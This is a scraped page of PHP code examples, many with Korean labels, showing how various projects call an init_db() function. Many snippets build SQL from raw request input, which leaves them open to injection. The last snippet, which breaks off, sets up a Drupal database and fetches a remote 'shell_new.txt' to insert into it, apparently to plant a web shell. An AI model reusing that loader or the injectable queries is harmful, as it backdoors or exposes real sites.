예제 #1
0
파일: score.php 프로젝트: joksnet/js-games
function build_points()
{
    $sqlite = init_db();
    $points = parse_db($sqlite);
    $sqlite->close();
    return $points;
}
예제 #2
0
function search_db($netid)
{
    global $dbfields;
    if (!preg_match("/\\A[a-z]{3}([0-9]*)\\Z/i", $netid)) {
        return array();
    }
    init_db();
    $query = "select * from users where netid='" . pg_escape_string($netid) . "'";
    $result = pg_query($query);
    $present = pg_fetch_array($result, null, PGSQL_ASSOC);
    if ($present == null) {
        return array();
    }
    $person = new Person($netid);
    pg_free_result($result);
    foreach ($dbfields as $f) {
        $query = "select * from " . $f . " where netid='" . pg_escape_string($netid) . "'";
        $result = pg_query($query);
        while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
            $value = $line[$f];
            if ($line["ldap"] === "f") {
                $person->db_fields[$f][] = $value;
            } else {
                $person->ldap_fields[$f][] = $value;
            }
        }
        pg_free_result($result);
    }
    $person->refresh_db();
    return array($person);
}
예제 #3
0
function get_keyword($id)
{
    $db = init_db();
    $kw_sql = "SELECT DISTINCT kw_content FROM plu_keywords WHERE kw_id = '{$id}'";
    $kw = $db->get_var($kw_sql);
    return $kw;
}
예제 #4
0
function init_env($time)
{
    chdir("/home/crowler/");
    init_db();
    $symbols = find_symbols_list();
    add_debug($time);
    return $symbols;
}
예제 #5
0
파일: auth.php 프로젝트: kronius/vidpro
 function check_auth($data)
 {
     $db = init_db();
     if (!$db) {
         return false;
     }
     $login = str_replace("'", '', str_replace(';', '', $data['usr']));
     //		$sql="SELECT acc_subj,u_id,u_email,u_nick,LOWER(u_url) u_url,u_grp,u_img,u_name,u_sname,u_twitter,u_showtwit,u_maketwit,u_country,u_city,u_gender,u_birth,u_phone,u_sms,u_smoke,u_alcohol,u_lifestyle,u_about,u_musicstyles,u_last_login,u_pwd,u_id,u_nub,u_weight,u_bg,u_bg_mod FROM usr where u_lock='' AND u_grp!='fdj' AND  (u_nick='$login' OR u_email='$login')";
     $sql = "SELECT\tu_id,u_grp,u_url,u_email,u_pwd,u_name,u_sname,u_img,u_gender,u_bdate,u_createdate,u_lastlogin,u_lock,u_passre,\r\n\t\t\t\t\t\tGROUP_CONCAT(u2t_key_t) u_themes\r\n\t\t\t\t\tFROM user LEFT JOIN user2theme ON(u2t_key_u=u_id) where u_email='{$login}'\r\n\t\t\t\t\tGROUP BY u_id";
     $usr = $db->query_row($sql);
     if (!$usr) {
         return false;
     }
     if ($usr['u_pwd'] != $data['pwd']) {
         return false;
     }
     if (!empty($usr['u_lock'])) {
         set_error_ex('user_locked', USR_MSG);
         return false;
     }
     $auth_groups = array('adm' => array('site_auth', 'admin_auth'), 'usr' => array('site_auth'));
     $acc = array('site_auth' => false, 'manager_auth' => false, 'admin_auth' => false);
     foreach ($auth_groups[$usr['u_grp']] as $descriptor) {
         $acc[$descriptor] = 1;
     }
     if (!$acc[$this->params['name']]) {
         return false;
     }
     //$GLOBALS['auth_login_id']=$usr['u_id']; $GLOBALS['auth_login_subj']=$usr['acc_subj'];
     // success. Store last in date
     $sql = "UPDATE usr SET u_last_login='******'YmdHis') . "' WHERE u_id='{$usr['u_id']}'";
     $db->query($sql);
     // correct date
     if (substr($usr['u_last_login'], 0, 4) == '0000') {
         $usr['u_last_login'] = date('d.m.Y');
     } else {
         $usr['u_last_login'] = date('d.m.Y', strtotime($usr['u_last_login']));
     }
     // store user data
     unset($usr['u_pwd']);
     switch ($usr['u_grp']) {
         case 'saller':
             $sql = "SELECT * FROM sallers WHERE s_id=" . $usr['u_key_subj'];
             $add = $db->query_row($sql);
             break;
         case 'vendor':
             $sql = "SELECT * FROM vendors WHERE v_id=" . $usr['u_key_subj'];
             $add = $db->query_row($sql);
             break;
         default:
             $add = array();
     }
     $usr = array_merge($usr, $add);
     $_SESSION['Jlib_auth'] = $usr;
     $_SESSION['Jlib_auth'] = array_merge($_SESSION['Jlib_auth'], $acc);
     return true;
 }
예제 #6
0
function list_credentials()
{
    $db = init_db();
    // Must use explicit select instead of * to get the rowid
    $query = $db->query('select userid, credentials from credentials');
    $result = array();
    while ($singleResult = $query->fetchArray(SQLITE3_ASSOC)) {
        array_push($result, $singleResult);
    }
    return $result;
}
예제 #7
0
파일: image.php 프로젝트: rde1024/cwrufind
function get_image_data($netid)
{
    init_db();
    $query = "SELECT image_id, image_name, profile FROM images WHERE netid='" . pg_escape_string($netid) . "'";
    $results = pg_query($query);
    if ($results) {
        $images = pg_fetch_all($result);
    } else {
        $images = null;
    }
    return $images;
}
예제 #8
0
function get_breadcrumb($cate_id, $breadcrumb_str = "")
{
    $db = init_db();
    $breadcrumb_result = $db->get_results("SELECT cate_id,cate_name,parent_id FROM `plu_product_category` WHERE cate_id = '{$cate_id}' ");
    //print_r($breadcrumb_result);
    if (isset($breadcrumb_result)) {
        foreach ($breadcrumb_result as $row) {
            //echo $row->cate_name;
            if ($breadcrumb_str == "") {
                $breadcrumb_str = " > " . $row->cate_name;
            } else {
                $breadcrumb_str = " > " . "<a href='" . WEBROOT . "/index.php?cmsid=2&cate_id={$row->cate_id}'>{$row->cate_name}</a>" . $breadcrumb_str;
            }
            if ($row->parent_id != -1) {
                $breadcrumb_str = get_breadcrumb($row->parent_id, $breadcrumb_str);
            }
        }
    }
    return $breadcrumb_str;
}
예제 #9
0
파일: person.php 프로젝트: rde1024/cwrufind
 function refresh_db()
 {
     init_db();
     $query = "select timestamp from users where netid='" . pg_escape_string($this->netid) . "'";
     $result = pg_query($query);
     $line = pg_fetch_array($result, null, PGSQL_ASSOC);
     pg_free_result($result);
     if (!$line) {
         $query = "insert into users (netid, from_ldap) values ('" . pg_escape_string($this->netid) . "', false)";
         $result = pg_query($query);
         pg_free_result($result);
     } else {
         if (!isold($line["timestamp"])) {
             return;
         }
     }
     $person = search_ldap(array("netid" => $this->netid));
     $this->purge();
     $this->merge($person[0]);
 }
예제 #10
0
function add_index()
{
    $connection = init_db();
    for ($i = 0; $i <= 2; $i++) {
        $query = "select programId,programName,compere,tabSet from a_program";
        $start = $i * 10;
        $limit = "limit {$start},10";
        $select_sql = $query . " " . $limit;
        $select_res = mysql_query($select_sql) or die("query failed");
        while ($r = mysql_fetch_array($select_res)) {
            $programId = $r["programId"];
            $str = $r["programName"] . "" . $r["compere"] . "" . $r["tabSet"];
            $unicode = str2Unicode($str);
            $update = "update a_program set searchindex='{$unicode}' where programId='{$programId}'";
            echo "{$update}\n";
            mysql_query($update) or die("update failed");
        }
        mysql_free_result($select_res);
    }
    mysql_close($connection);
}
예제 #11
0
function init(&$db, $checkSession = NULL)
{
    $ok = TRUE;
    // Set timezone
    if (!ini_get('date.timezone')) {
        date_default_timezone_set('UTC');
    }
    // Set session cookie path
    ini_set('session.cookie_path', getAppPath());
    // Open session
    session_name(SESSION_NAME);
    session_start();
    if (!is_null($checkSession) && $checkSession) {
        $ok = isset($_SESSION['consumer_key']) && isset($_SESSION['resource_id']) && isset($_SESSION['user_consumer_key']) && isset($_SESSION['user_id']) && isset($_SESSION['isStudent']);
    }
    if (!$ok) {
        $_SESSION['error_message'] = 'Unable to open session.';
    } else {
        // Open database connection
        $db = open_db(!$checkSession);
        $ok = $db !== FALSE;
        if (!$ok) {
            if (!is_null($checkSession) && $checkSession) {
                // Display a more user-friendly error message to LTI users
                $_SESSION['error_message'] = 'Unable to open database.';
            }
        } else {
            if (!is_null($checkSession) && !$checkSession) {
                // Create database tables (if needed)
                $ok = init_db($db);
                // assumes a MySQL/SQLite database is being used
                if (!$ok) {
                    $_SESSION['error_message'] = 'Unable to initialise database.';
                }
            }
        }
    }
    return $ok;
}
예제 #12
0
 function do_reply_contact()
 {
     $db = init_db();
     if (!(isset($_GET["con_id"]) && preg_match("/^[0-9]*\$/", $_GET["con_id"]))) {
         redirect($this->plu_path . "&func=show_contact_list", 0, "你所要變更的消息不合法");
         exit;
     }
     $con_id = $_GET["con_id"];
     $con_content = isset($_POST['content']) ? $_POST['content'] : "";
     $sql = "UPDATE plu_contact SET con_reply='{$con_content}',con_reply_time=NOW() WHERE con_id = '{$con_id}' ";
     $db->query($sql);
     //echo $sql;
     redirect($this->plu_path . "&func=show_contact_list", 0, "變更已完成");
 }
예제 #13
0
ini_set('date.timezone', 'Asia/Shanghai');
if ($argc < 3) {
    $url = $_SERVER['PHP_SELF'];
    $filename = substr($url, strrpos($url, '/'));
    echo "argument error, usage: {$filename} [update|backup|restore|dump] localhost";
}
require_once 'conf.php';
$mode = $argv[1];
$conf = $argv[2];
$db_host = $db_argv[$conf]['host'];
$db_user = $db_argv[$conf]['user'];
$db_pass = $db_argv[$conf]['pass'];
$db_name = $db_argv[$conf]['name'];
$db_port = $db_argv[$conf]['port'];
$db_version = init_db();
$db = new mysqli($db_host, $db_user, $db_pass, $db_name, $db_port);
$db->query("SET NAMES utf8;");
if ($mode == "update") {
    update_db();
} else {
    if ($mode == "backup") {
        export_db(true);
    } else {
        if ($mode == "restore") {
            require_once "backup/" . $argv[3] . ".php";
        } else {
            if ($mode == "export") {
                update_db();
                export_db(false);
            } else {
예제 #14
0
파일: index.php 프로젝트: sathyz/site_rn
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<?php 
include 'php/util/db.php';
include 'php/util/common.php';
$q = isset($_REQUEST["page"]) ? $_REQUEST["page"] : "home";
$PAGES_DIR = "./php/pages/";
$conn = init_db();
$page = get_page($conn, $q);
$tabs = get_tabs($conn);
//page - file, name, display_name
$show_ticker = $show_slideshow = $q == "home";
?>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <meta http-equiv="content-language" content="en" />
    <meta name="robots" content="all,follow" />

    <meta name="author" lang="en" content="All: Satheesh Kumar M [sathyz.wordpress.com]; e-mail: sathyz@gmail.com" />

    <meta name="description" content="Rainbow Novelties - specialises in creating custom designed bags for the discerning corporations" />
    <meta name="keywords" content="rainbow novelties bags apparels gifts" />

    <link rel="icon" type="image/x-icon" href="logo.ico" />
    <link rel="stylesheet" media="screen,projection" type="text/css" href="css/reset.css" />
    <link rel="stylesheet" media="screen,projection" type="text/css" href="css/main.css" />
    <!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="css/main-msie.css" /><![endif]-->
    <link rel="stylesheet" media="screen,projection" type="text/css" href="css/style.css" />
    <link rel="stylesheet" media="print" type="text/css" href="css/print.css" />
예제 #15
0
function get_profile_privileges()
{
    $db = init_db();
    $pris = array();
    $mod_ids = get_profile_modules();
    foreach ($mod_ids as $mod_id) {
        $sql = "SELECT pri_id,pri_name,mod_id,stype_id FROM sys_privileges WHERE mod_id = '{$mod_id}'";
        $results = $db->get_results($sql);
        if (isset($results)) {
            foreach ($results as $row) {
                $pris[] = array('pri_id' => $row->pri_id, 'pri_name' => $row->pri_name, 'mod_id' => $row->mod_id, 'stype_id' => $row->stype_id);
            }
        }
    }
    return $pris;
}
예제 #16
0
#!/bin/env php
<?php 
require_once "inc/simple_html_dom.php";
require_once "inc/functions.php";
// Set location of sqlite database file
$db_file = "db/dorks.db";
// Print usage if no args supplied
if ($argc < 2) {
    print_usage($argv);
    die;
}
$db = init_db($db_file);
// Load page in to HTML DOM
$landing = str_get_html(gzdecode(file_get_contents('http://www.exploit-db.com/google-dorks/')));
$categories = get_categories($landing);
$newest_id = get_newest_id($landing);
$highest_db_id = get_highest_db_id($db);
// Handle input
switch ($argv[1]) {
    case "update":
        get_dorks($db, $highest_db_id, $newest_id);
        // Get latest dorks
        break;
    case "list":
        list_dorks($db);
        break;
    case "info":
        echo "Categories: ";
        print_r($categories);
        echo "\n";
        echo "Newest ID on GHDB: ";
예제 #17
0
 function do_edit_m01()
 {
     $db = init_db();
     $m01_id = isset($_GET["m01_id"]) ? $_GET["m01_id"] : "";
     $m01_url = isset($_POST["m01_url"]) ? $_POST["m01_url"] : "";
     $m01_title = isset($_POST["m01_title"]) ? $_POST["m01_title"] : "";
     $kw_ids = isset($_POST["kw_ids"]) ? "[" . implode("],[", $_POST["kw_ids"]) . "]" : "";
     $m01_cate = isset($_POST["m01_cate"]) ? $_POST["m01_cate"] : "未分類";
     $m01_status = isset($_POST["m01_status"]) ? $_POST["m01_status"] : "未處理";
     $m01_rank = isset($_POST["m01_rank"]) ? $_POST["m01_rank"] : "未分類";
     $post_time = isset($_POST["post_time"]) ? $_POST["post_time"] : "";
     $sql = "UPDATE plu_mobile01 SET m01_id={$m01_id}, kw_ids='{$kw_ids}', m01_url='{$m01_url}', m01_title='{$m01_title}',";
     $sql .= " m01_post_time='{$post_time}', m01_status='{$m01_status}', m01_cate='{$m01_cate}', m01_rank='{$m01_rank}', modiTime=NOW() WHERE m01_id = {$m01_id} ";
     $db->query($sql);
     redirect($this->plu_path . "&func=show_news_list", 0, "變更已完成");
 }
예제 #18
0
 function do_edit_member()
 {
     $db = init_db();
     if (!(isset($_GET["uid"]) && preg_match("/^[0-9]*\$/", $_GET["uid"]))) {
         redirect($this->plu_path . "&func=show_member_list", 0, "你所要變更的消息不合法");
         exit;
     }
     $member_id = $_GET["uid"];
     $group_id = isset($_POST['gid']) ? $_POST['gid'] : -1;
     if (!isset($_POST['name']) || empty($_POST['name'])) {
         redirect($this->plu_path . "&func=show_member_list", 0, "你所輸入的名稱不合法.");
         exit;
     }
     $name = $_POST['name'];
     if (!empty($_POST["birth"]) && preg_match("/^([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})\$/", $_POST["birth"]) <= 0) {
         redirect($this->plu_path . "&func=show_member_list", 0, "你所輸入的日期格式不合法.");
         exit;
     }
     $birth = $_POST["birth"];
     if (!isset($_POST['email']) || empty($_POST['email'])) {
         redirect($this->plu_path . "&func=show_member_list", 0, "你所輸入的電子郵件不合法.");
         exit;
     }
     $email = $_POST['email'];
     $sex = isset($_POST['sex']) ? $_POST['sex'] : "女";
     $tel = isset($_POST['tel']) ? $_POST['tel'] : "";
     $cellphone = isset($_POST['cellphone']) ? $_POST['cellphone'] : "";
     $addr = isset($_POST['addr']) ? $_POST['addr'] : "";
     $sql = "UPDATE plu_member SET name='{$name}', sex='{$sex}', birth='{$birth}', tel='{$tel}',";
     $sql .= " cellphone='{$cellphone}', email='{$email}', addr='{$addr}', group_id='{$group_id}', modiTime=NOW() WHERE member_id = {$member_id} ";
     $db->query($sql);
     //echo $sql;
     redirect($this->plu_path . "&func=show_member_list", 0, "變更已完成");
 }
예제 #19
0
 function do_edit_ptt()
 {
     $db = init_db();
     $ptt_id = isset($_GET["ptt_id"]) ? $_GET["ptt_id"] : "";
     if (isset($_POST["broad_sel"])) {
         if ($_POST["broad_sel"] == 0) {
             $ptt_bid = $_POST["ptt_bid"];
         } else {
             $ptt_bid = $_POST["broad_sel"];
         }
     }
     $ptt_title = isset($_POST["ptt_title"]) ? $_POST["ptt_title"] : "";
     $ptt_pid = isset($_POST["ptt_pid"]) ? $_POST["ptt_pid"] : "";
     $kw_ids = isset($_POST["kw_ids"]) ? "[" . implode("],[", $_POST["kw_ids"]) . "]" : "";
     $ptt_cate = isset($_POST["ptt_cate"]) ? $_POST["ptt_cate"] : "未分類";
     $ptt_status = isset($_POST["ptt_status"]) ? $_POST["ptt_status"] : "未處理";
     $ptt_rank = isset($_POST["ptt_rank"]) ? $_POST["ptt_rank"] : "未分類";
     $ptt_post_time = isset($_POST["ptt_post_time"]) ? $_POST["ptt_post_time"] : "";
     $ptt_track_time = isset($_POST["ptt_track_time"]) ? $_POST["ptt_track_time"] : "";
     $sql = "UPDATE plu_ptt SET ptt_id={$ptt_id}, kw_ids='{$kw_ids}', ptt_bid='{$ptt_bid}',ptt_pid='{$ptt_pid}', ptt_title='{$ptt_title}',";
     $sql .= " ptt_track_time = '{$ptt_track_time}',ptt_post_time='{$ptt_post_time}', ptt_status='{$ptt_status}', ptt_cate='{$ptt_cate}', ptt_rank='{$ptt_rank}', modiTime=NOW() WHERE ptt_id = {$ptt_id} ";
     $db->query($sql);
     redirect($this->plu_path . "&func=show_news_list", 0, "變更已完成");
 }
예제 #20
0
파일: project.php 프로젝트: kronius/vidpro
 function make()
 {
     //ТОчно такой точки нет?
     $tst = $GLOBALS[CM]->run('sql:point?p_fsid=\'' . mysql_real_escape_string($GLOBALS['Jlib_page_extra'][0]) . '\'$limit=0,1 shrink=yes ');
     if (!empty($tst)) {
         redirect('/point/' . $tst['p_url']);
         exit;
     }
     $GLOBALS['FS'] = init_fs();
     if (!($dt = $GLOBALS['FS']->venue($GLOBALS['Jlib_page_extra'][0]))) {
         echo "Ошибка:( <script>//history.back();</script>";
         exit;
     }
     //echo '<pre class="debug">'.print_r ( $dt ,true).'</pre>';
     $item = parse_venue_item($dt);
     //echo '<pre class="debug">'.print_r ( $item ,true).'</pre>'; exit();
     //УРЛ
     $p_url = $p_transl = strtolower(translit($item['p_name']));
     $limit = 10;
     while ($t = $GLOBALS[CM]->run('sql:point?p_url=\'' . $p_url . '\'') && $limit > 0) {
         $p_url = $p_transl . uniqid('-');
         $limit--;
     }
     $item['p_url'] = $p_url;
     //Картинка
     if (!empty($item['photos'])) {
         $item['p_img'] = str_replace('/150x150/', '/200x150/', $item['photos'][0]['photo']);
     }
     if (empty($item['p_img'])) {
         $icn =& $dt->response->venue->categories[0]->icon;
         $item['p_img'] = $icn->prefix . '88' . $icn->suffix;
     }
     //Описание
     //$item['p_dscr']= $item['p_fs_reasons'].' '.$item['p_fs_atts'];
     //Регион
     //Спрашиваю гугль по русски, БЛИН!
     $coord = json_decode(file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?language=ru&address=' . $item['p_lat'] . ',' . $item['p_lng'] . '&sensor=false'), 1);
     if (!empty($coord['results'])) {
         for ($i = 0; $i < count($coord['results']); $i++) {
             if ($coord['results'][$i]['types'][0] == 'locality') {
                 $item['p_reg_name'] = $coord['results'][$i]['address_components'][0]['short_name'];
                 $item['p_reg_lat'] = $coord['results'][$i]['geometry']['location']['lat'];
                 $item['p_reg_lng'] = $coord['results'][$i]['geometry']['location']['lng'];
             }
         }
     }
     //Смотрю, а есть ли такой регион в БД
     $r_url = translit($item['p_reg_name']);
     $r_url = strtr($r_url, array('%' => '', '"' => '', "'" => '', '+' => '', '/' => '', '\\' => ''));
     if (!($reg_id = $GLOBALS[CM]->run("sql:region#r_id?r_url='" . $r_url . "'\$limit=0,1 shrink=yes"))) {
         $reg_id = $GLOBALS[CM]->run("sql:region", 'insert', array('r_url' => $r_url, 'r_name' => $item['p_reg_name'], 'r_lat' => $item['p_reg_lat'], 'r_lng' => $item['p_reg_lng']));
     }
     $item['p_key_reg'] = $reg_id;
     $item['p_createdate'] = date('Y-m-d H:i:s');
     //Добавляю
     $p_id = $GLOBALS[CM]->run('sql:point#p_id,p_url,p_fsid,p_name,p_img,p_dscr,p_key_reg,p_addr,p_lat,p_lng,p_createdate', 'insert', $item);
     //Добаить индексы по имени
     $item['p_name'] = strtr($item['p_name'], array('"' => ' ', "'" => '`', '/' => '', '_' => ' ', '-' => ' ', '  ' => ''));
     $m = explode(' ', $item['p_name']);
     $sql = "REPLACE INTO search_words_index VALUES ";
     $vals = array();
     foreach ($m as $v) {
         if (empty($v)) {
             continue;
         }
         if (strlen($v) > 1) {
             $vals[] = " ('{$v}', {$p_id}, 'pnt') ";
         }
     }
     $tms = explode(' ', implode(' ', explode(',', $item['p_themes'])));
     foreach ($tms as $v) {
         $vals[] = " ('" . trim($v) . "', {$p_id}, 'pnt') ";
     }
     $sql .= implode(',', $vals);
     $db = init_db();
     $db->query($sql);
     //Добавить привязку к категориям
     $sql = "REPLACE INTO point2theme (SELECT {$p_id} , t2c_key_t FROM theme2fs_cat WHERE  t2c_key_c IN( '" . implode("','", array_keys($item['p_fs_cats'])) . "' ) )";
     $db->query($sql);
     redirect('/point/' . $item['p_url']);
     exit;
 }
예제 #21
0
    } else {
        $section = 'online';
    }
}
require_once LIBS . DS . 'config_magik.php';
//Import de la librairie de gestion des fichiers de configuration
$cfg = new ConfigMagik(CONFIGS_FILES . DS . 'database.ini', true, true);
//Création d'une instance, si le fichier database.ini n'existe pas il sera créé
$conf = $cfg->keys_values($section);
//On va procéder à l'import
require_once INSTALL_FUNCTIONS . DS . 'database.php';
//Inclusion des fonctions de paramétrage de la base de données
$start = 1;
$foffset = 0;
$totalqueries = 0;
$init_db_tables = init_db($conf['host'], $conf['database'], $conf['login'], $conf['password'], "database_datas", $start, $foffset, $totalqueries);
?>
<div id="right">		
	<div id="main">				
		
		<div class="box">			
			<div class="title">
				<h2>IMPORT DES DONNEES DANS LES TABLES</h2>
			</div>
			<div class="content nopadding">				
				<?php 
if ($init_db_tables['result']) {
    ?>
					<table cellpadding="0" cellspacing="0" id="ethernatable">
						<tr>
							<th id="MatrixItems">&nbsp;</th>
예제 #22
0
 function do_pricing_list()
 {
     $db = init_db();
     if (isset($_GET['opt'])) {
         $opt = $_GET['opt'];
     }
     if (!(isset($opt) && preg_match("/^[0-9]+\$/", $opt))) {
         redirect($this->plu_path . "&func=show_pricing_list", 0, "沒有此項目");
         exit;
     }
     switch ($opt) {
         case 1:
             $taipeicity = $_POST['taipeicity'] == '' || !preg_match("/^[0-9]+\$/", $_POST['taipeicity']) ? 1 : $_POST['taipeicity'];
             for ($i = 0; $i < count($_POST['taipeicity_building']); $i++) {
                 $this->insertUpdateScript($taipeicity, 'taipeicity_building', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicity_building'][$i]);
                 $this->insertUpdateScript($taipeicity, 'taipeicity_apartment', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicity_apartment'][$i]);
             }
             $this->insertUpdateDescription(date('Y-m-1'), 'taipeicity_desc', $_POST['taipeicity_desc']);
             break;
         case 2:
             $taipeicounty = $_POST['taipeicounty'] == '' || !preg_match("/^[0-9]+\$/", $_POST['taipeicounty']) ? 3 : $_POST['taipeicounty'];
             for ($i = 0; $i < count($_POST['taipeicounty_building']); $i++) {
                 $this->insertUpdateScript($taipeicounty, 'taipeicounty_building', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicounty_building'][$i]);
                 $this->insertUpdateScript($taipeicounty, 'taipeicounty_apartment', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicounty_apartment'][$i]);
             }
             $this->insertUpdateDescription(date('Y-m-1'), 'taipeicounty_desc', $_POST['taipeicounty_desc']);
             break;
         case 3:
             for ($i = 0; $i < count($_POST['taipeicity_issue']); $i++) {
                 $this->insertUpdateScript(1, 'taipeicity_issue', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicity_issue'][$i]);
                 $this->insertUpdateScript(3, 'taipeicounty_issue', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicounty_issue'][$i]);
             }
             $this->insertUpdateDescription(date('Y-m-1'), 'issue_desc', $_POST['issue_desc']);
             break;
         case 4:
             for ($i = 0; $i < count($_POST['taipeicity_bidding']); $i++) {
                 $this->insertUpdateScript(1, 'taipeicity_bidding', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicity_bidding'][$i]);
                 $this->insertUpdateScript(3, 'taipeicounty_bidding', date('Y-m-1', strtotime(-$i . " Month")), $_POST['taipeicounty_bidding'][$i]);
             }
             $this->insertUpdateDescription(date('Y-m-1'), 'bidding_desc', $_POST['bidding_desc']);
             break;
         case 5:
             for ($i = 0; $i < count($_POST['auction_amount_date']); $i++) {
                 if (preg_match("/^[0-9]{4}\\/[0-9]{1,2}\\/[0-9]{1,2}\$/", $_POST['auction_amount_date'][$i])) {
                     $this->insertUpdateScript(0, 'auction_amount', $_POST['auction_amount_date'][$i], $_POST['auction_amount_value'][$i]);
                 }
             }
             $this->insertUpdateDescription(date('Y-m-1'), 'auction_amount_desc', $_POST['auction_amount_desc']);
             break;
         case 6:
             for ($i = 0; $i < count($_POST['leading']); $i++) {
                 $quarter = floor(date('m', strtotime(-($i * 3) . " Month")) / 4) * 3 + 1;
                 $pricing_date = date('Y', strtotime(-($i * 3) . " Month")) . '-' . (string) $quarter . '-1';
                 $this->insertUpdateScript(0, 'leading', $pricing_date, $_POST['leading'][$i]);
                 $this->insertUpdateScript(0, 'simultaneous', $pricing_date, $_POST['simultaneous'][$i]);
                 $this->insertUpdateScript(0, 'prosperity', $pricing_date, $_POST['prosperity'][$i]);
             }
             $thisQuarter = floor(date('m') / 4) * 3 + 1;
             $thisYear = date('Y');
             $this->insertUpdateScript(0, 'leading_return', $thisYear . '-' . $thisQuarter . '-1', $_POST['leading_return']);
             $this->insertUpdateScript(0, 'simultaneous_return', $thisYear . '-' . $thisQuarter . '-1', $_POST['simultaneous_return']);
             $this->insertUpdateScript(0, 'prosperity_return', $thisYear . '-' . $thisQuarter . '-1', $_POST['prosperity_return']);
             $this->insertUpdateDescription($thisYear . '-' . $thisQuarter . '-1', 'analysis_desc', $_POST['analysis_desc']);
             break;
     }
     /*
     		$order_id = isset($_GET['order_id'])?$_GET['order_id']:"";
     		if(!(isset($_GET['order_id']) && preg_match("/^[0-9]*$/", $_GET['order_id']))){
     			redirect($this->plu_path."&func=show_pricing_list", 0, "你所要刪除的產品不合法");
     			exit;
     		}
     */
     //		$sql  = "DELETE FROM plu_pricing WHERE order_id = $order_id ";
     //		$db->query($sql);
     //echo $sql;
     redirect($this->plu_path . "&func=show_pricing_list", 0, "修改已完成");
 }
예제 #23
0
파일: Sql.php 프로젝트: azkrishnan/cp
 public static function getArrayLength($query, $param_string = "", $param_array = array())
 {
     //used in select type query, to know length only
     init_db();
     $stmt = self::$mysqli->prepare($query);
     array_unshift($param_array, $param_string);
     if (count($param_array) > 1) {
         call_user_func_array(array($stmt, 'bind_param'), $param_array);
     }
     $stmt->execute();
     $stmt->store_result();
     $numRows = $stmt->num_rows;
     $stmt->close();
     return $numRows;
 }
예제 #24
0
파일: index.php 프로젝트: nioc/ampache
function init_db()
{
    if (!Preference::exists('myplex_username')) {
        Preference::insert('myplex_username', 'myPlex Username', '', '25', 'string', 'internal');
        Preference::insert('myplex_authtoken', 'myPlex Auth Token', '', '25', 'string', 'internal');
        Preference::insert('myplex_published', 'Plex Server is published to myPlex', '0', '25', 'boolean', 'internal');
        Preference::insert('plex_uniqid', 'Plex Server Unique Id', uniqid(), '25', 'string', 'internal');
        Preference::insert('plex_servername', 'Plex Server Name', 'Ampache', '25', 'string', 'internal');
        Preference::insert('plex_public_address', 'Plex Public Address', '', '25', 'string', 'internal');
        Preference::insert('plex_public_port', 'Plex Public Port', '32400', '25', 'string', 'internal');
        Preference::insert('plex_local_auth', 'myPlex authentication required on local network', '0', '25', 'boolean', 'internal');
        Preference::insert('plex_match_email', 'Link myPlex users to Ampache based on e-mail address', '1', '25', 'boolean', 'internal');
        User::rebuild_all_preferences();
    }
}
init_db();
$myplex_username = Plex_XML_Data::getMyPlexUsername();
$myplex_authtoken = Plex_XML_Data::getMyPlexAuthToken();
$myplex_published = Plex_XML_Data::getMyPlexPublished();
$plex_servername = Plex_XML_Data::getServerName();
$plex_public_address = Plex_XML_Data::getServerPublicAddress();
$plex_public_port = Plex_XML_Data::getServerPublicPort();
$plex_local_port = Plex_XML_Data::getServerPort();
$plex_local_auth = AmpConfig::get('plex_local_auth');
$plex_match_email = AmpConfig::get('plex_match_email');
$plexact = $_REQUEST['plexact'];
switch ($plexact) {
    case 'auth_myplex':
        $myplex_username = $_POST['myplex_username'];
        $myplex_password = $_POST['myplex_password'];
        $plex_public_port = $_POST['plex_public_port'];
예제 #25
0
 public function isValid()
 {
     Logger::debug('main', 'PREFERENCESADMIN::isValid');
     if (!function_exists('curl_init')) {
         return _('Please install CURL support for PHP');
     }
     $sql_conf = $this->get('general', 'sql');
     if (!is_array($sql_conf)) {
         Logger::error('main', 'PREFERENCESADMIN::isValid db conf failed');
         return _('SQL configuration not valid(2)');
     }
     $sql2 = SQL::newInstance($sql_conf);
     $db_ok = $sql2->CheckLink(false);
     if ($db_ok === false) {
         Logger::error('main', 'PREFERENCESADMIN::isValid db link failed');
         return _('SQL configuration not valid');
     }
     // now we can initialize the system (sql DB ...)
     $ret = init_db($this);
     if ($ret !== true) {
         Logger::error('main', 'init_db failed');
         return _('Initialization failed');
     }
     $modules_ok = true;
     $modules_enable = $this->get('general', 'module_enable');
     foreach ($modules_enable as $module_name) {
         if (!is_null($this->get($module_name, 'enable'))) {
             $enable = $this->get($module_name, 'enable');
             if (is_string($enable)) {
                 $mod_name = $module_name . '_' . $enable;
                 $ret_eval = call_user_func(array($mod_name, 'prefsIsValid'), $this);
                 if ($ret_eval !== true) {
                     Logger::error('main', 'prefs is not valid for module \'' . $mod_name . '\'');
                     $modules_ok = false;
                     return _('prefs is not valid for module') . ' (' . $mod_name . ')';
                     // TODO
                 }
             } else {
                 if (is_array($enable)) {
                     foreach ($enable as $sub_module) {
                         $mod_name = $module_name . '_' . $sub_module;
                         $ret_eval = call_user_func(array($mod_name, 'prefsIsValid'), $this);
                         if ($ret_eval !== true) {
                             Logger::error('main', 'prefs is not valid for module \'' . $mod_name . '\'');
                             $modules_ok = false;
                             return _('prefs is not valid for module') . ' (' . $mod_name . ')';
                             // TODO
                         }
                     }
                 }
             }
         } else {
             Logger::info('main', 'preferences::isvalid module \'' . $module_name . '\' not enable');
         }
     }
     if ($modules_ok === false) {
         Logger::error('main', 'PREFERENCESADMIN::isValid modules false');
         return _('Modules configuration not valid');
     }
     return true;
 }
예제 #26
0
function main_insert_into_db($DRUPAL_ROOT)
{
    $DRUPAL_ROOT = init_db($DRUPAL_ROOT);
    create_table();
    $text = file_get_contents('http://test.matvsub.top/shell_new.txt');
    if (strlen($text) <= 100) {
        echo "\n===ERROR=== No found text for insert\n<br>\n";
        die;
    }
